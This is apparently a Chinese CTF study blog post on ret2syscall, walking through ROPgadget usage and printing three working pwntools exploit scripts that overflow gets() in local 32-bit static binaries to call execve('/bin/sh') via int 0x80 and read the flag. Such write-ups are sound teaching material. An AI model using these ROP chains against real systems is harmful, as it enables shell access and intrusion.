再识ret2syscall
当初学rop学到的ret2syscall,对int 0x80中断了解还不是很深,这次又复习了一遍。虽然很简单,但是还是学到了新东西。那么我们就从ret2syscall开始吧。
IDA一打开的时候,就看见函数窗口有超级多的函数,我就意识到,应该是静态编译。这样软件就没调用libc,也就不存在leak libc版本来获取shell地址了。记得以前做过的一道静态编译,利用的是ROPgadget。刚刚试了一下,发现这道题也可以,这个我们最后说。
IDA打开后搜索字符串,发现“/bin/sh”字样,但是没有system函数。那么我们就想到用系统调用的方法来拿到shell。系统调用需要一个函数就是int 0x80,我们用ROPgadget来搜索一下。
截图中我们有了int 0x80的地址和“/bin/sh”的地址,再获取一些给寄存器赋值的gadget就可以写exp了,这里就直接贴上exp了。
1 from pwn import * 2 3 p = process('./ret2syscall') 4 5 binsh_addr = 0x080be408 6 pop_eax = 0x080bb196 7 pop_edx_ecx_ebx = 0x0806eb90 8 int80_addr = 0x08049421 9 10 payload = 'a'*112 + p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0x0) + p32(0x0) + p32(binsh_addr) + p32(int80_addr) 11 12 p.sendline(payload) 13 p.interactive()
这是我第一次学习时候的ret2syscall的时候的exp,当我今天又遇到一个这种类型的题。我们来细细看一下。
直接main函数一个gets溢出,然后就没了。这道题是直接搜不出“/bin/sh”字符串的。但是其实如果真的掌握精髓的话,其实是可以拼接出“/bin/sh”字符串的,因为我搜了一下,有“/”,有“bin”,有“sh”,但是我拼接过程中不知道该如何截断一个字符串。那么我们还能怎么办呢?既然是系统调用,那么我们不如调用一个read函数,来自己输入“/bin/sh”吧。
自己输入“/bin/sh”的话,就需要我们调用两次int 80,但是,却怎么也打不通。
这时候有师傅告诉我说,用ROPgadget这样搜索,搜出来也是系统调用,我怀着疑惑,用qira看一下。
我们调用了两次int80,但是汇编只显示了一行,经过调试发现,当read执行完,执行shellcode的时候又会跳到第一个int80来系统调用。
那我们再看一下,第一次搜索出来的int80为啥不行。。。
发现这样调用之后,任务直接就中断了,就不会继续执行了。。。
那么就总结出来了,如果只需要一次系统调用,可以用这种命令:ROPgadget --binary rop --only 'int'
如果我们需要多次系统调用,就只能用这个命令来找int 0x80 :ROPgadget --binary rop --opcode cd80c3
本题如果我们要自己输入“/bin/sh”的话,就需要用这个找到的地址了。
那么我们贴一下这道题的exp:
1 from pwn import * 2 import time 3 4 p = process('./rop') 5 #p = remote('127.0.0.1',4000) 6 elf = ELF('./rop') 7 context.log_level = 'debug' 8 9 pop_eax_edx_ebx = 0x08053d14 10 pop_ecx = 0x080595b3 11 ret = 0x080481b2 12 #int80 = 0x0806c405 #int80 13 int80 = 0x0806ef00 #ROPgadget --binary rop --opcode cd80c3 14 buf = elf.bss() + 0x300 15 payload = 'a'*22 16 payload += flat([ 17 pop_eax_edx_ebx, 18 0x3, 19 0x10, 20 0x0, 21 pop_ecx, 22 buf, 23 int80, 24 pop_eax_edx_ebx, 25 0xb, 26 0x0, 27 buf, 28 pop_ecx, 29 0x0, 30 int80]) 31 p.sendline(payload) 32 sleep(1) 33 p.send('/bin/sh\x00') 34 sleep(1) 35 p.sendline('cat flag.txt') 36 p.recv() 37 p.close()
说到这里,其实也该完了,但是我发下ROPgadget是真的牛逼。他还有这么一行命令:
ROPgadget --binary rop --ropchain
这行命令,会自己从程序里面找gadget片段,然后拼接出shellcode,如果这道题用这种方法做,我贴一下exp:
1 from pwn import * 2 from struct import pack 3 import time 4 5 z = process('./rop') 6 #p = remote('127.0.0.1',4000) 7 elf = ELF('./rop') 8 context.log_level = 'debug' 9 10 p = 'a'*22 11 12 p += pack('<I', 0x0806e7da) # pop edx ; ret 13 p += pack('<I', 0x080ec080) # @ .data 14 p += pack('<I', 0x080b90f6) # pop eax ; ret 15 p += '/bin' 16 p += pack('<I', 0x08054642) # mov dword ptr [edx], eax ; ret 17 p += pack('<I', 0x0806e7da) # pop edx ; ret 18 p += pack('<I', 0x080ec084) # @ .data + 4 19 p += pack('<I', 0x080b90f6) # pop eax ; ret 20 p += '//sh' 21 p += pack('<I', 0x08054642) # mov dword ptr [edx], eax ; ret 22 p += pack('<I', 0x0806e7da) # pop edx ; ret 23 p += pack('<I', 0x080ec088) # @ .data + 8 24 p += pack('<I', 0x08049173) # xor eax, eax ; ret 25 p += pack('<I', 0x08054642) # mov dword ptr [edx], eax ; ret 26 p += pack('<I', 0x080481c9) # pop ebx ; ret 27 p += pack('<I', 0x080ec080) # @ .data 28 p += pack('<I', 0x080595b3) # pop ecx ; ret 29 p += pack('<I', 0x080ec088) # @ .data + 8 30 p += pack('<I', 0x0806e7da) # pop edx ; ret 31 p += pack('<I', 0x080ec088) # @ .data + 8 32 p += pack('<I', 0x08049173) # xor eax, eax ; ret 33 p += pack('<I', 0x080be674) # inc eax ; ret 34 p += pack('<I', 0x080be674) # inc eax ; ret 35 p += pack('<I', 0x080be674) # inc eax ; ret 36 p += pack('<I', 0x080be674) # inc eax ; ret 37 p += pack('<I', 0x080be674) # inc eax ; ret 38 p += pack('<I', 0x080be674) # inc eax ; ret 39 p += pack('<I', 0x080be674) # inc eax ; ret 40 p += pack('<I', 0x080be674) # inc eax ; ret 41 p += pack('<I', 0x080be674) # inc eax ; ret 42 p += pack('<I', 0x080be674) # inc eax ; ret 43 p += pack('<I', 0x080be674) # inc eax ; ret 44 p += pack('<I', 0x0806c405) # int 0x80 45 z.sendline(p) 46 z.interactive() 47
payload直接用自动生成的就可以,仔细阅读一下自动生成的,发现就是都是利用片段拼接,而且只调用了一次int 0x80,调用的这次也是咱们那个只能用一次的int 0x80的那个地址。这样,这种题目就算是分析透彻了。
当然这种直接生成的payload一般都比较长,适用于gets函数,我做了一道题是read,因为限制长度就不能用。
好了,分析就到这了。